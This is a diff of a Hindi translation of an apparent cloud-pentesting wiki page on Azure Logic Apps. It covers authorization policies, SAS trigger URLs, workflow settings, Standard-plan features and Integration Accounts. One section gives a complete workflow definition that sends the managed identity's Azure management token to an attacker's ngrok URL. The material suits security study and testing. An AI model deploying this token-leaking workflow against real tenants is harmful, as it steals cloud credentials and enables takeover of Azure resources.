|
||||
यह विभिन्न निष्पादनों का **history** देखने का विकल्प प्रदान करता है, यह सेटिंग्स, आउटपुट, पैरामीटर और कोड दिखाता है।
|
||||
### Authorization Policies
|
||||
|
||||
यह वर्कफ़्लो के विभिन्न **versions** तक पहुँचने का विकल्प भी प्रदान करता है, जहाँ आप कोड की जांच कर सकते हैं और वर्तमान वर्कफ़्लो को इसके पुराने संस्करण के साथ बदल सकते हैं।
|
||||
|
||||
**Authorization:**
|
||||
Azure Logic Apps **authorization policies** का समर्थन करते हैं Entra ID के साथ अनुरोध-आधारित ट्रिगर्स को सुरक्षित करने के लिए एक मान्य एक्सेस टोकन की आवश्यकता होती है। इस टोकन में विशिष्ट दावे शामिल होने चाहिए:
|
||||
ये वर्कफ़्लो **authorization policies** का समर्थन करते हैं Entra ID के साथ अनुरोध-आधारित ट्रिगर्स को सुरक्षित करने के लिए एक मान्य एक्सेस टोकन की आवश्यकता होती है। इस टोकन में विशिष्ट दावे शामिल होने चाहिए:
|
||||
- Issuer (iss) पहचान प्रदाता की पहचान की पुष्टि करने के लिए
|
||||
- Audience (aud) यह सुनिश्चित करने के लिए कि टोकन Logic App के लिए अभिप्रेत है
|
||||
- Subject (sub) कॉलर की पहचान करने के लिए
|
||||
- JWT ID (JSON Web Token identifier)
|
||||
- JWT ID (JSON Web Token पहचानकर्ता)
|
||||
- Custom Claim
|
||||
|
||||
जब एक अनुरोध प्राप्त होता है, Logic Apps इन दावों के खिलाफ टोकन को मान्य करता है और केवल तभी निष्पादन की अनुमति देता है यदि वे कॉन्फ़िगर की गई नीति से मेल खाते हैं। इसका उपयोग किसी अन्य टेनेट को वर्कफ़्लो को ट्रिगर करने की अनुमति देने या अन्य स्रोतों से ट्रिगर को अस्वीकार करने के लिए किया जा सकता है, उदाहरण के लिए केवल ट्रिगर की अनुमति देना यदि यह https://login.microsoftonline.com/ से आता है।
|
||||
जब एक अनुरोध प्राप्त होता है, Logic Apps इन दावों के खिलाफ टोकन को मान्य करता है और केवल तभी निष्पादन की अनुमति देता है जब वे कॉन्फ़िगर की गई नीति से मेल खाते हैं। इसका उपयोग किसी अन्य टेनेट को वर्कफ़्लो को ट्रिगर करने की अनुमति देने या अन्य स्रोतों से ट्रिगर को अस्वीकार करने के लिए किया जा सकता है, उदाहरण के लिए केवल ट्रिगर की अनुमति देना यदि यह https://login.microsoftonline.com/ से आता है।
|
||||
|
||||
**Access Keys:**
|
||||
जब आप पहली बार अनुरोध-आधारित ट्रिगर को सहेजते हैं, Logic Apps स्वचालित रूप से एक अद्वितीय एंडपॉइंट बनाता है जिसमें एक SAS हस्ताक्षर (Access Key से बनाया गया) होता है जो वर्कफ़्लो को कॉल करने की अनुमति देता है। यह SAS हस्ताक्षर ट्रिगर के URL में एम्बेडेड होता है। इस कुंजी को फिर से उत्पन्न किया जा सकता है और यह नया SAS हस्ताक्षर देगी, लेकिन कुंजियों को सूचीबद्ध नहीं किया जा सकता है।
|
||||
### Access Keys
|
||||
|
||||
Access Key के साथ इसे सक्रिय करने के लिए URL:
|
||||
वर्कफ़्लो **2 एक्सेस कीज़** उत्पन्न करते हैं जब वे बनाए जाते हैं। इन कुंजियों का उपयोग वर्कफ़्लो के लिए अनुरोधों को प्रमाणित और अधिकृत करने के लिए किया जाता है। कुंजियाँ एक Shared Access Signature (SAS) टोकन उत्पन्न करने के लिए उपयोग की जाती हैं, जो अनुरोध URL में शामिल होती है।
|
||||
|
||||
इसलिए, जब एक HTTP एंडपॉइंट ट्रिगर बनाया जाता है, तो एक **विशिष्ट HTTP एंडपॉइंट जिसमें SAS हस्ताक्षर** होता है जो वर्कफ़्लो को कॉल करने की अनुमति देता है, उत्पन्न होता है।
|
||||
|
||||
ये **कुंजियाँ फिर से उत्पन्न की जा सकती हैं** और इन ट्रिगर्स के लिए एक नया SAS URL बनाया जाएगा, लेकिन **कुंजियों के मानों तक पहुँच नहीं की जा सकती**।
|
||||
|
||||
ट्रिगर को सक्रिय करने के लिए SAS URL का उदाहरण:
|
||||
```
|
||||
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
|
||||
```
|
||||
### Workflow Settings & Components
|
||||
|
||||
### Enumeration
|
||||
- **Trigger access option**: यह सेटिंग आपको यह सीमित करने देती है कि कौन आपके वर्कफ़्लो को ट्रिगर या शुरू कर सकता है। विकल्प हैं Any IP, Only other workflow और Specific IP ranges।
|
||||
- **Integration account**: अपने वर्कफ़्लो को एक Integration Account से लिंक करें।
|
||||
- **High throughput**: यदि चालू है, तो यह तेजी से अधिक अनुरोधों को समानांतर में संभालने की अनुमति देता है।
|
||||
- **Run history retention**: यह उन दिनों की संख्या को दर्शाता है जिन्हें रन इतिहास को बनाए रखना है।
|
||||
- **API connections**: यह दिखाता है कि वर्कफ़्लो के पास विभिन्न API कनेक्शन हैं। इन कनेक्शनों के अंदर उनके पास विभिन्न गुण होते हैं और API कनेक्शन को संपादित करने की संभावना होती है जहाँ Authentication type को बदला जा सकता है।
|
||||
- **History**: इसमें पुराने निष्पादन का **history** देखने और डेटा प्राप्त करने का विकल्प है: Settings, Output, Parameters और Code।
|
||||
- **Versions**: इसमें वर्कफ़्लो के विभिन्न **versions** तक पहुँचने का विकल्प है, जहाँ आप कोड की जांच कर सकते हैं और वर्तमान वर्कफ़्लो को इसके पुराने संस्करण के साथ बदल सकते हैं।
|
||||
- **Managed Identities**: वर्कफ़्लो को 1 सिस्टम प्रबंधित पहचान और सर्वर उपयोगकर्ता प्रबंधित पहचान सौंपना संभव है।
|
||||
|
||||
### Leak MI access tokens
|
||||
|
||||
एक वर्कफ़्लो में HTTP क्रिया का उपयोग बाहरी वेब पर डेटा भेजने के लिए किया जा सकता है। HTTP क्रिया के **Advanced parameters** में, **Authentication Type** को **`Managed identity`** के रूप में कॉन्फ़िगर करना संभव है और फिर उपयोग करने के लिए **assigned Managed Identity** का चयन करना संभव है (सिस्टम या उपयोगकर्ता)।
|
||||
|
||||
इसके अलावा, **`Audience`** में उत्पन्न JWT का ऑडियंस निर्दिष्ट करना संभव है, जो उदाहरण के लिए **`https://management.azure.com/`** हो सकता है ताकि उत्पन्न टोकन का उपयोग Azure प्रबंधन API तक पहुँचने के लिए किया जा सके।
|
||||
|
||||
> [!WARNING]
|
||||
> हमलावर द्वारा नियंत्रित सर्वर पर HTTP अनुरोध भेजने के लिए क्रिया को बनाना संभव है कि **managed identity** के लिए असाइन किया गया एक्सेस टोकन **leak** हो जाए।
|
||||
|
||||
> [!TIP]
|
||||
> एक हमलावर अन्य प्रकार की क्रियाओं का भी उपयोग कर सकता है ताकि **प्रत्यक्ष रूप से अन्य Azure सेवाओं** तक पहुँच प्राप्त कर सके और प्रबंधित पहचान की अनुमतियों के साथ क्रियाएँ कर सके।
|
||||
|
||||
यह एक वर्कफ़्लो का कोड है जो एक HTTP एंडपॉइंट को उजागर करता है और फिर कॉन्फ़िगर की गई URL (इस मामले में ngrok) पर एक्सेस टोकन को लीक करने के लिए HTTP क्रिया का उपयोग करता है:
|
||||
|
||||
<details>
|
||||
<summary>Workflow code</summary>
|
||||
```json
|
||||
{
|
||||
"definition": {
|
||||
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
|
||||
"contentVersion": "1.0.0.0",
|
||||
"triggers": {
|
||||
"When_a_HTTP_request_is_received": {
|
||||
"type": "Request",
|
||||
"kind": "Http"
|
||||
}
|
||||
},
|
||||
"actions": {
|
||||
"HTTP": {
|
||||
"runAfter": {},
|
||||
"type": "Http",
|
||||
"inputs": {
|
||||
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
|
||||
"method": "GET",
|
||||
"authentication": {
|
||||
"type": "ManagedServiceIdentity",
|
||||
"audience": "https://management.azure.com/"
|
||||
}
|
||||
},
|
||||
"runtimeConfiguration": {
|
||||
"contentTransfer": {
|
||||
"transferMode": "Chunked"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"outputs": {},
|
||||
"parameters": {
|
||||
"$connections": {
|
||||
"type": "Object",
|
||||
"defaultValue": {}
|
||||
}
|
||||
}
|
||||
},
|
||||
"parameters": {
|
||||
"$connections": {
|
||||
"type": "Object",
|
||||
"value": {}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
## लॉजिक ऐप्स / मानक योजना
|
||||
|
||||
### "सिंगल" वर्कफ़्लोज़ के साथ अंतर
|
||||
|
||||
लॉजिक ऐप्स मूल रूप से एक ऐप सेवा का उपयोग करते हैं जो **लॉजिक ऐप को होस्ट करने के लिए कई वर्कफ़्लोज़ को होस्ट कर सकता है**। इसका मतलब है कि लॉजिक ऐप में ऐप सेवा और "सिंगल" वर्कफ़्लोज़ की सभी सुविधाएँ होंगी।
|
||||
|
||||
कुछ प्रमुख विशेषताएँ होंगी:
|
||||
|
||||
- **ऐप सेवा योजना**: मानक योजना में लॉजिक ऐप्स एक ऐप सेवा योजना पर होस्ट किए जाते हैं इसलिए ऐप सेवा की सभी सुविधाओं का उपयोग करना संभव है जैसे:
|
||||
- **नेटवर्क प्रतिबंध**: यह इंगित करें कि इसे कहाँ से एक्सेस किया जा सकता है।
|
||||
- **डिप्लॉयमेंट सेंटर**: Github, Bitbucket, Azure Repos, External Git और Local Git जैसे बाहरी प्लेटफार्मों से डिप्लॉय करें।
|
||||
- **FTP एक्सेस**: लॉजिक ऐप की फ़ाइलों तक FTP के माध्यम से पहुँच प्राप्त करना संभव है।
|
||||
- **स्टोरेज खाता**: सेवा ऐप जानकारी संग्रहीत करने के लिए एक स्टोरेज खाते का उपयोग करता है।
|
||||
- **एन्व वेरिएबल्स और ऐप सेटिंग्स**: पर्यावरण चर और ऐप सेटिंग्स को कॉन्फ़िगर करना संभव है (और स्टोरेज खाते के लिए एक्सेस कुंजी जैसी संवेदनशील जानकारी प्राप्त करना)।
|
||||
- ...
|
||||
- **पैरामीटर्स**: पैरामीटर्स आपको विकास, परीक्षण और उत्पादन के बीच भिन्न मानों को प्रबंधित करने की अनुमति देते हैं। यह आपको पहले वर्कफ़्लोज़ डिज़ाइन करने की अनुमति देता है, फिर बाद में पर्यावरण-विशिष्ट सेटिंग्स को आसानी से समायोजित करें।
|
||||
- **समर्पित संसाधन**: मानक योजना में लॉजिक ऐप्स के पास समर्पित संसाधन होते हैं।
|
||||
- **कई वर्कफ़्लोज़**: यह कई वर्कफ़्लोज़ बनाने की अनुमति देता है।
|
||||
|
||||
ऐप सेवाओं के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-app-services.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
### एन्यूमरेशन
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -203,17 +279,17 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Integration Accounts
|
||||
**Integration Accounts**, Azure Logic Apps की एक विशेषता हैं। Integration Accounts का उपयोग उन्नत B2B क्षमताओं को सक्षम करके उद्यम-स्तरीय एकीकरण को सुविधाजनक बनाने के लिए किया जाता है, जैसे कि EDI, AS2, और XML स्कीमा प्रबंधन। Integration Accounts Azure में एक कंटेनर हैं जो Logic Apps के लिए उपयोग किए जाने वाले निम्नलिखित कलाकृतियों को संग्रहीत करते हैं:
|
||||
## Integration Accounts
|
||||
**Integration Accounts**, Azure Logic Apps की एक विशेषता हैं। Integration Accounts का उपयोग उन्नत B2B क्षमताओं को सक्षम करके उद्यम-स्तरीय एकीकरण को सुविधाजनक बनाने के लिए किया जाता है, जैसे EDI, AS2, और XML स्कीमा प्रबंधन। Integration Accounts Azure में एक कंटेनर हैं जो Logic Apps के लिए उपयोग किए जाने वाले निम्नलिखित कलाकृतियों को संग्रहीत करते हैं:
|
||||
|
||||
* Schemas: अपने एकीकरण खाते में संदेशों को मान्य और संसाधित करने के लिए XML स्कीमा प्रबंधित करें।
|
||||
* Maps: अपने एकीकरण कार्यप्रवाह के भीतर डेटा प्रारूपों को परिवर्तित करने के लिए XSLT-आधारित रूपांतरण कॉन्फ़िगर करें।
|
||||
* Assemblies: लॉजिक और डेटा प्रसंस्करण को सरल बनाने के लिए एकीकरण खाता असेंबली प्रबंधित करें।
|
||||
* Certificates: संदेशों को एन्क्रिप्ट और साइन करने के लिए प्रमाणपत्रों को संभालें, सुरक्षित संचार सुनिश्चित करें।
|
||||
* Partners: B2B लेनदेन के लिए व्यापार भागीदार की जानकारी प्रबंधित करें, निर्बाध एकीकरण सक्षम करें।
|
||||
* Agreements: व्यापार भागीदारों के साथ डेटा का आदान-प्रदान करने के लिए नियम और सेटिंग्स कॉन्फ़िगर करें (जैसे, EDI, AS2)।
|
||||
* Batch Configurations: संदेशों को कुशलतापूर्वक समूहित और संसाधित करने के लिए बैच प्रसंस्करण कॉन्फ़िगरेशन प्रबंधित करें।
|
||||
* RosettaNet PIP: B2B संचार को मानकीकरण के लिए RosettaNet Partner Interface Processes (PIPs) कॉन्फ़िगर करें।
|
||||
* **Schemas**: अपने एकीकरण खाते में संदेशों को मान्य और संसाधित करने के लिए XML स्कीमा प्रबंधित करें।
|
||||
* **Maps**: अपने एकीकरण कार्यप्रवाह के भीतर डेटा प्रारूपों को परिवर्तित करने के लिए XSLT-आधारित रूपांतरण कॉन्फ़िगर करें।
|
||||
* **Assemblies**: लॉजिक और डेटा प्रसंस्करण को सरल बनाने के लिए एकीकरण खाता असेंबली प्रबंधित करें।
|
||||
* **Certificates**: संदेशों को एन्क्रिप्ट और साइन करने के लिए प्रमाणपत्रों को संभालें, सुरक्षित संचार सुनिश्चित करें।
|
||||
* **Partners**: B2B लेनदेन के लिए व्यापार भागीदार की जानकारी प्रबंधित करें, निर्बाध एकीकरण सक्षम करें।
|
||||
* **Agreements**: व्यापार भागीदारों के साथ डेटा का आदान-प्रदान करने के लिए नियम और सेटिंग्स कॉन्फ़िगर करें (जैसे, EDI, AS2)।
|
||||
* **Batch Configurations**: संदेशों को कुशलतापूर्वक समूहित और संसाधित करने के लिए बैच प्रसंस्करण कॉन्फ़िगरेशन प्रबंधित करें।
|
||||
* **RosettaNet PIP**: B2B संचार को मानकीकरण के लिए RosettaNet Partner Interface Processes (PIPs) कॉन्फ़िगर करें।
|
||||
|
||||
#### Enumeration
|
||||
|
||||
@@ -329,4 +405,10 @@ Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -Integra
|
||||
../az-post-exploitation/az-logic-apps-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## स्थिरता
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-logic-apps-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
File diff suppressed because one or more lines are too long
Reference in New Issue
Block a user